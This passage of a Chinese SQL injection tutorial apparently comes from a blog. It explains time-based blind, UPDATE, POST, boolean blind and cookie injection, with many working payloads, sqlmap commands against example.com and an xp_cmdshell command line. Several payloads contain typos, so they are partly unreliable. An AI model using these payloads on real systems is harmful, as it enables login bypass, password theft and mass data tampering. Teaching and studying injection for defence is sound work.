- 用户需拥有
pg_read_server_files权限。
- 用户需拥有
- 安全风险:攻击者可伪造文件覆盖数据库表。
- 权限要求:
3. SQL Server
- 读取文件:
BULK INSERTBULK INSERT tempdb..data FROM 'C:\data.txt';- 权限要求:
- 用户需有
ADMINISTER BULK OPERATIONS权限。
- 用户需有
- 安全风险:配合注入可读取本地文件。
- 权限要求:
- 执行命令:
xp_cmdshellEXEC xp_cmdshell 'echo malicious > C:\shell.exe';- 权限要求:
- 需启用
xp_cmdshell(默认禁用)。
- 需启用
- 安全风险:直接执行系统命令,导致服务器沦陷。
- 权限要求:
SQL注入SLEEP注入
一、攻击原理
时间盲注(Time-Based Blind SQLi)通过注入时间延迟函数(如 SLEEP()),根据数据库响应时间判断条件是否成立。即使页面无直接回显,攻击者仍可通过响应延迟推断数据。
二、不同数据库的时间函数
| 数据库 | 函数示例 | 特点 |
|---|---|---|
| MySQL | SLEEP(5) | 参数为秒,直接暂停执行 |
| PostgreSQL | pg_sleep(5) | 参数为秒,需超级用户权限 |
| SQL Server | WAITFOR DELAY '0:0:5' | 格式为 '时:分:秒' |
三、攻击步骤与示例
1. 探测漏洞是否存在
注入 SLEEP(5),观察响应是否延迟:但你使用这个办法是有前提的,他只能早指定条件的记录存在时才会停留指定秒数,比如咱们库里没有pig,查询条件为 name = 'pig',结果会表名记录不存在,执行时间为0,我们在数据库中不存在这个数据时,即使你添加了sleep(n)这个函数,语句执行还是会一闪而过。
' OR IF(1=1, SLEEP(5), 0) --+ |
- 若页面5秒后响应:存在时间盲注漏洞。
- 若无延迟:需尝试其他方法。
2. 提取数据(逐字符猜测)
通过条件判断和二分法提取数据:
' OR IF(ASCII(SUBSTRING(DATABASE(),1,1)) > 100, SLEEP(5), 0) --+ |
- 逻辑:若数据库名的第一个字符ASCII码 > 100(如字母
d),则延迟5秒。 - 自动化工具:使用
sqlmap的--time-sec参数:sqlmap -u "http://example.com/page?id=1" --time-sec=5
3. 绕过过滤的技巧
- 编码绕过:
' OR IF(1=1, SLEEP(5), 0) --+' OR (SELECT SLEEP(5)) --+ - 注释符混淆:
'/*!50000OR*/ SLEEP(5) --+
substr()函数
一、函数语法
SUBSTR(str, start [, length]) |
-- 或 |
SUBSTR(str FROM start [FOR length]) |
- 功能:从字符串
str中截取指定位置的子字符串。 - 别名:
SUBSTRING()、MID()(功能完全相同)。
二、参数说明
| 参数 | 类型 | 说明 |
|---|---|---|
str | 字符串 | 原始字符串。 |
start | 整数 | 起始位置(从1开始计数),支持负数(表示从末尾倒数)。 |
length | 整数 | 可选,截取长度。若省略或超过剩余字符数,返回至字符串末尾。 |
三、返回值规则
- 正常情况
SUBSTR('MySQL', 2, 3)→'ySQ'
(从第2个字符y开始,截取3个字符)SUBSTR('2023-10-05', 1, 4)→'2023'
(提取日期中的年份)
- 负数起始位置
SUBSTR('MySQL', -3, 2)→'SQ'
(倒数第3个字符S开始,截取2个字符)
- 省略
lengthSUBSTR('MySQL', 3)→'SQL'
(从第3个字符到末尾)
- 边界情况
start > 字符串长度→ 返回空字符串。length ≤ 0→ 返回空字符串。- 任一参数为
NULL→ 返回NULL。
四、应用场景示例
-
提取日期部分
SELECT SUBSTR('2023-10-05', 6, 2); -- 返回 '10'(月份) -
处理身份证号
SELECT SUBSTR('110101199003072316', 7, 8); -- 返回 '19900307'(出生日期) -
格式化字符串
SELECT SUBSTR('+8613812345678', 4); -- 返回 '13812345678'(去除国家代码) -
中文字符处理
SELECT SUBSTR('数据库', 2, 2); -- 返回 '库'(按字符截取,非字节)
COUNT 函数
功能:统计表中符合条件的记录数。
语法:
SELECT COUNT(column_name) FROM table_name WHERE condition; |
关键用法:
- COUNT(*):统计所有行(包括 NULL 值)。
SELECT COUNT(*) FROM employees; → 返回总记录数 - COUNT(1):统计指定行数(包括 NULL 值)。
SELECT COUNT(1) FROM employees; → 返回一行 - COUNT(列名):统计指定列的非 NULL 值数量。
SELECT COUNT(email) FROM users; → 统计 email 列非空的记录数 - COUNT(DISTINCT 列名):统计唯一值的数量。
SELECT COUNT(DISTINCT department) FROM employees; → 统计不同部门的数量
LENGTH 函数
-- 返回字符串的字节长度(UTF-8下中文字符占3字节) |
SELECT LENGTH('你好'); -- 输出6 |
SELECT CHAR_LENGTH('你好'); -- 输出2(推荐统计字符数) |
SQL注入UPDATE()注入
如果我们需要修改或者更新MYSQL中的数据,我们可以使用sqlupdate命令来操作。
实列
-- 基本语法
UPDATE table_name
SET column1 = value1, column2 = value2
WHERE condition;
-- 示例:将用户表中ID为100的账户余额增加100
UPDATE users
SET balance = balance + 100
WHERE user_id = 100;
--更新某一行若干列
UPDATE table_name
SET column1 = value1, column2 = value2
WHERE condition=value;
UPDATE注入原理
当应用程序动态构建UPDATE语句时,若未对用户输入进行安全处理,攻击者可通过构造恶意输入篡改SQL逻辑,导致非预期的数据修改。例如:
UPDATE users SET email='恶意输入' WHERE id=用户可控参数; |
若用户可控参数未过滤,攻击者可注入1=1等条件,将WHERE子句变为永真式,从而修改所有记录。
也可以利于updatexml(),extratvalue()获取数据
--获取数据库版本
update users
set passwd = 'ni'
or updatexml(2,concat(0x7e,(version())),0)
or''where id = 2 and username = 'nervo';
update users set passwd = 'ni' or extractvalue(1,concat(0x7e,(database())),0) o'' where id = 2 and username = 'nervo';
--获取数据库版本
UPDATE users
SET email = 'attacker@example.com'
WHERE id = 1
AND updatexml(1, concat(0x7e, (SELECT @@version)), 1);
利用name_const()获取数据
name_const()是函数mysql5.0.12版本加入的一个返回给定值的函数,当用来产生一个集合列时,name_const()促使该列使用给定名称
--获取数据库版本
update users set password = 'ni' or (select * from (select(name_const(version(),1)),name_const(version(),1))a) or'' where id = 2 and username = 'nervo';
子查询注入泄露表名
原理同上
-- 嵌套子查询泄露表名
UPDATE products
SET price = 99.99
WHERE id = 1
AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(
(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 1),
FLOOR(RAND()*2)
) x FROM information_schema.tables GROUP BY x) y);
- 关键逻辑:
- 子查询
(SELECT table_name ...)泄露当前数据库的第一个表名。 GROUP BY x结合RAND()触发重复键错误,泄露表名。
- 子查询
- 错误信息示例:
Duplicate entry 'users1' for key 'group_key'
显错注入 + 子查询泄露用户数据
-- 通过显错函数泄露用户名
UPDATE orders
SET status = 'shipped'
WHERE id = 1
AND updatexml(1, concat(0x7e, (
SELECT password FROM users WHERE username='admin' LIMIT 1
)), 1);
- 关键逻辑:
- 子查询
(SELECT password ...)获取管理员密码。 updatexml()触发错误并返回密码哈希值。
- 子查询
二、典型攻击场景与示例
1. 修改所有用户密码
-- 原始SQL
UPDATE users SET password='new_pwd' WHERE id=123;
-- 恶意输入(假设id参数可控)
id=123 OR 1=1
-- 最终SQL
UPDATE users SET password='new_pwd' WHERE id=123 OR 1=1;
-- 所有用户密码被修改
2. 注入执行额外命令
-- 原始SQL(假设email字段未过滤)
UPDATE users SET email='user@example.com' WHERE id=123;
-- 恶意输入(MySQL示例)
email='test@example.com'; UPDATE admins SET password='hacked' WHERE 1=1 --
-- 最终SQL
UPDATE users SET email='test@example.com'; UPDATE admins SET password='hacked' WHERE 1=1 -- ' WHERE id=123;
-- 同时修改普通用户邮箱和管理员密码
3. 基于布尔/时间的盲注
-- 通过页面响应差异判断条件真假
email='test' + (SELECT CASE WHEN (SUBSTRING(database(),1,1)='a') THEN SLEEP(5) ELSE 0 END) -- '
-- 若数据库名首字母为a,页面响应延迟5秒
三、漏洞检测方法
-
输入单引号测试
在表单中输入',观察是否返回数据库错误(如MySQL的You have an error in your SQL syntax)。 -
email='test' AND 1=1 --email='test' AND 1=2 -- -
时间盲注验证
注入延迟函数判断漏洞存在:email='test' + IF(1=1, SLEEP(5), 0) --
SQL注入POST注入
一、POST注入的基本原理
SQL注入POST方法与GET方法的核心原理一致,均通过将恶意SQL语句注入到用户输入中,利用应用程序未充分验证或过滤输入的漏洞,执行非授权的SQL操作。其区别在于数据传输方式:
- POST请求:将参数封装在HTTP请求体中,而非URL参数,因此更具隐蔽性,常用于登录表单、搜索框等场景。
- 攻击本质:将用户输入的数据当作SQL代码执行,绕过应用程序的安全措施。
二、POST注入的攻击步骤
- 发现注入点
通过提交特殊字符(如单引号')测试是否存在注入漏洞。例如:- 在登录表单的用户名字段输入
admin',观察是否触发数据库错误。 - 若返回错误信息(如
You have an error in your SQL syntax),则表明存在注入点。
- 在登录表单的用户名字段输入
- 构造恶意语句
利用数据库函数或逻辑运算符构造恶意SQL语句:- 报错注入:使用
updatexml()、extractvalue()等函数触发错误,泄露数据。- 示例:
username=admin' AND updatexml(1, concat(0x7e, version()), 1)--,通过错误信息获取数据库版本。
- 示例:
- 逻辑绕过:使用
OR 1=1绕过验证。- 示例:
username=admin' OR 1=1--,密码任意,即可绕过密码验证。
- 示例:
- 联合查询:通过
UNION SELECT合并恶意查询结果。- 示例:
username=admin' UNION SELECT 1, database()--,泄露当前数据库名。
- 示例:
- 报错注入:使用
- 提取数据
通过错误信息或联合查询获取数据库信息:- 泄露表名:
username=admin' UNION SELECT 1, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--。 - 泄露字段:
username=admin' UNION SELECT 1, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'--。 - 获取数据:
username=admin' UNION SELECT username, password FROM users--。
- 泄露表名:
- 工具辅助
- Burp Suite:拦截并修改POST请求,手动构造恶意语句。
- sqlmap:自动化检测POST注入,命令示例:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --technique=E --dbs
三、POST注入的典型示例
- 万能密码绕过
- 输入:
username=admin' OR 1=1--,密码任意。 - 效果:绕过密码验证,直接登录成功。
- 输入:
- 报错注入泄露版本
- 输入:
username=admin' AND updatexml(1, concat(0x7e, version()), 1)--。 - 效果:通过错误信息泄露数据库版本(如
5.7.42)。
- 输入:
- 联合查询获取数据
- 输入:
username=admin' UNION SELECT 1, database()--。 - 效果:泄露当前数据库名(如
post_error)。
- 输入:
注:由于涉及到渗透所用工具,我后面会进行实战单独讲解
SQL注入布尔盲注
一、布尔盲注的定义与原理
布尔盲注(Boolean-Based Blind SQL Injection)是一种基于布尔条件判断的注入技术,适用于应用程序未返回错误信息但页面内容随条件变化而变化的场景。攻击者通过构造不同的SQL条件语句(如True/False),观察页面响应的差异(如是否存在特定内容、页面布局变化等),逐步推断出数据库中的敏感信息。
核心原理:
- 条件构造:在用户输入中注入布尔表达式(如
AND 1=1、AND 1=2),使SQL语句返回不同的结果集。 - 响应分析:根据页面是否返回预期内容(如登录成功/失败、搜索结果存在/不存在),判断条件是否成立。
- 逐位提取:通过二分法或逐位比较,逐步获取数据库版本、表名、字段名、数据内容等。
布尔盲注经常用到的函数
count() 计算结果集行数
lenth(str) 返回指定字符串长度
substr(str,pos,len) / substring(str,pos,len) 返回截取字符串
ascII(str) 返回指定字符串最左侧字符的ascii值
二、布尔盲注的攻击步骤
1. 确定注入点
- 目标:找到存在注入漏洞的参数(如登录表单的
username字段、搜索框的keyword参数)。 - 方法:
- 输入单引号
',观察是否触发错误(如You have an error in your SQL syntax)。 - 若无错误回显,尝试构造条件语句(如
username=admin' AND 1=1--),观察页面是否返回正常内容。
- 输入单引号
2. 判断数据库类型
- 目标:确定数据库类型(如MySQL、PostgreSQL、SQL Server)。
- 方法:
- MySQL:使用
@@version或version()。- Payload:
username=admin' AND (SELECT SUBSTR(@@version,1,1))='5'--(判断版本是否以5开头)。
- Payload:
- PostgreSQL:使用
version()或current_setting('version')。- Payload:
username=admin' AND (SELECT version()) LIKE 'PostgreSQL%'--。
- Payload:
- MySQL:使用
3. 提取数据库信息
- 目标:逐步获取数据库版本、表名、字段名、数据内容。
- 方法:
-
逐位提取:使用
SUBSTR和ASCII函数逐字符提取信息。-
-- 判断第1个字符是否为'5'username=admin' AND (SELECT ASCII(SUBSTR(@@version,1,1)))=53---- 53是字符'5'的ASCII码 - 递归构造:通过循环逐位提取,直到获取完整版本号(如
5.7.42)。
-
-
获取表名:
-- 判断是否存在表名为'users'username=admin' AND (SELECT COUNT(*) FROM information_schema.tables WHEREtable_schema=database() AND table_name='users')=1-- -
获取字段名:
-- 提取表'users'的第1个字段名username=admin' AND (SELECT ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1,1)))=117---- 117是字符'u'的ASCII码
-
4. 自动化工具辅助
- sqlmap:支持布尔盲注的自动化检测与数据提取。
- 命令示例:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --technique=B --dbs --dump--technique=B:指定使用布尔盲注技术。--dbs:列出所有数据库。--dump:导出数据(需结合--threads提高效率)。
- 命令示例:
三、布尔盲注的典型案例
案例1:提取数据库版本
- 构造Payload:
username=admin' AND (SELECT SUBSTR(@@version,1,1))='5')--- 判断版本第1个字符是否为
5(ASCII码53)。
- 判断版本第1个字符是否为
- 页面响应:
- 若版本以
5开头,页面返回正常内容;否则返回错误或异常内容(如登录失败提示)。
- 若版本以
- 递归提取:
- 逐步调整字符位置和ASCII码,直到获取完整版本(如
5.7.42)。
- 逐步调整字符位置和ASCII码,直到获取完整版本(如
案例2:提取表名
-
username=admin' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() AND table_name LIKE 'u%')=1--- 判断是否存在以
u开头的表。
- 判断是否存在以
- 页面响应:
- 若存在以
u开头的表,页面返回正常内容;否则返回错误。
- 若存在以
- 递归提取:
- 逐步调整通配符(如
u%→us%→use%), - 最终确定表名为
users。
- 逐步调整通配符(如
注:由于布尔盲注很难注入,依靠工具很难有效果,所以还需要进行手工调整payload来手工注入
SQL注入COOKIE注入
一、COOKIE注入的定义与原理
COOKIE注入是一种通过篡改HTTP请求中的COOKIE参数,向应用程序注入恶意SQL代码的技术。其核心原理与GET/POST注入一致,但攻击目标转向了存储在客户端的COOKIE数据(如会话ID、用户偏好设置等)。攻击者通过修改COOKIE值,构造恶意SQL语句,绕过应用程序的安全验证,执行非授权的数据库操作。
核心原理:
- COOKIE参数作为输入:应用程序将COOKIE中的某些字段(如
user_id、session_token)直接用于SQL查询。 - 构造恶意语句:攻击者通过篡改COOKIE值,注入SQL代码(如
' OR 1=1--),改变原始查询逻辑。 - 执行非授权操作:恶意语句可能泄露数据、修改数据库内容或提升权限。
二、COOKIE注入的攻击步骤
1. 发现注入点
- 目标:识别COOKIE中哪些参数被用于SQL查询。寻找如".asp?id=xx"类带参数的url,测试参数在数据传递中是否直接起作用,测试应用是否用request("id")这种方式获取数据的,测试判断条件是否可以影响输出,使用常规语句注入。
- 方法:
- 手动测试:修改COOKIE中的某个参数(如
user_id=1→user_id=1'),观察页面是否触发错误或行为异常。 - 工具辅助:使用Burp Suite拦截并修改COOKIE请求,或通过sqlmap自动检测COOKIE注入漏洞。
- 手动测试:修改COOKIE中的某个参数(如
2. 构造恶意语句
- 目标:根据COOKIE参数的用途,构造恶意SQL代码。
- 常见手法:
- 万能COOKIE:通过逻辑运算符绕过验证。
- 示例:
session_token=admin' OR 1=1--(假设session_token用于用户验证)。
- 示例:
- 报错注入:使用
updatexml()、extractvalue()等函数触发错误,泄露数据。- 示例:
user_id=1 AND updatexml(1, concat(0x7e, version()), 1)--。
- 示例:
- 布尔盲注:通过条件判断逐步提取数据(适用于无错误回显的场景)。
- 示例:
user_id=1 AND (SELECT SUBSTR(@@version,1,1))='5'--。
- 示例:
- 万能COOKIE:通过逻辑运算符绕过验证。
3. 提取数据
- 目标:通过恶意语句泄露数据库版本、表名、字段名、数据内容等。
- 方法:
- 联合查询:
user_id=1 UNION SELECT 1, database()--(泄露当前数据库名)。 - 逐位提取:使用
SUBSTR和ASCII函数逐字符提取信息(如数据库版本、管理员密码)。
- 联合查询:
4. 工具辅助
- sqlmap:支持COOKIE注入的自动化检测与数据提取。
- 命令示例:
sqlmap -u "http://example.com/profile.php" --cookie="user_id=1" --technique=E --dbs--cookie:指定COOKIE参数。--technique=E:使用报错注入技术。--dbs:列出所有数据库。
- 命令示例:
- Burp Suite:通过Repeater模块拦截并修改COOKIE请求,手动构造恶意语句。
三、COOKIE注入的典型案例
案例1:万能COOKIE绕过验证
- 场景:应用程序使用COOKIE中的
session_token验证用户身份。 - 攻击步骤:
- 修改COOKIE值为
session_token=admin' OR 1=1--。 - 提交请求后,绕过身份验证,直接以管理员身份登录。
- 修改COOKIE值为
案例2:报错注入泄露数据库版本
- 场景:COOKIE中的
user_id参数用于查询用户信息。 - 攻击步骤:
- 修改COOKIE值为
user_id=1 AND updatexml(1, concat(0x7e, version()), 1)--。 - 提交请求后,页面返回错误信息,泄露数据库版本(如
5.7.42)。
- 修改COOKIE值为
案例3:布尔盲注提取管理员密码
- 场景:应用程序无错误回显,但页面内容随查询结果变化。
- 攻击步骤:
- 构造COOKIE值:
user_id=1 AND (SELECT ASCII(SUBSTR(password,1,1)) FROM users WHERE username='admin')=53--(假设密码首字符为5)。 - 观察页面响应,若返回正常内容,则确认密码首字符为
5。 - 递归调整字符位置和ASCII码,逐步提取完整密码。
- 构造COOKIE值:
完结撒花~
5799

被折叠的 条评论
为什么被折叠?



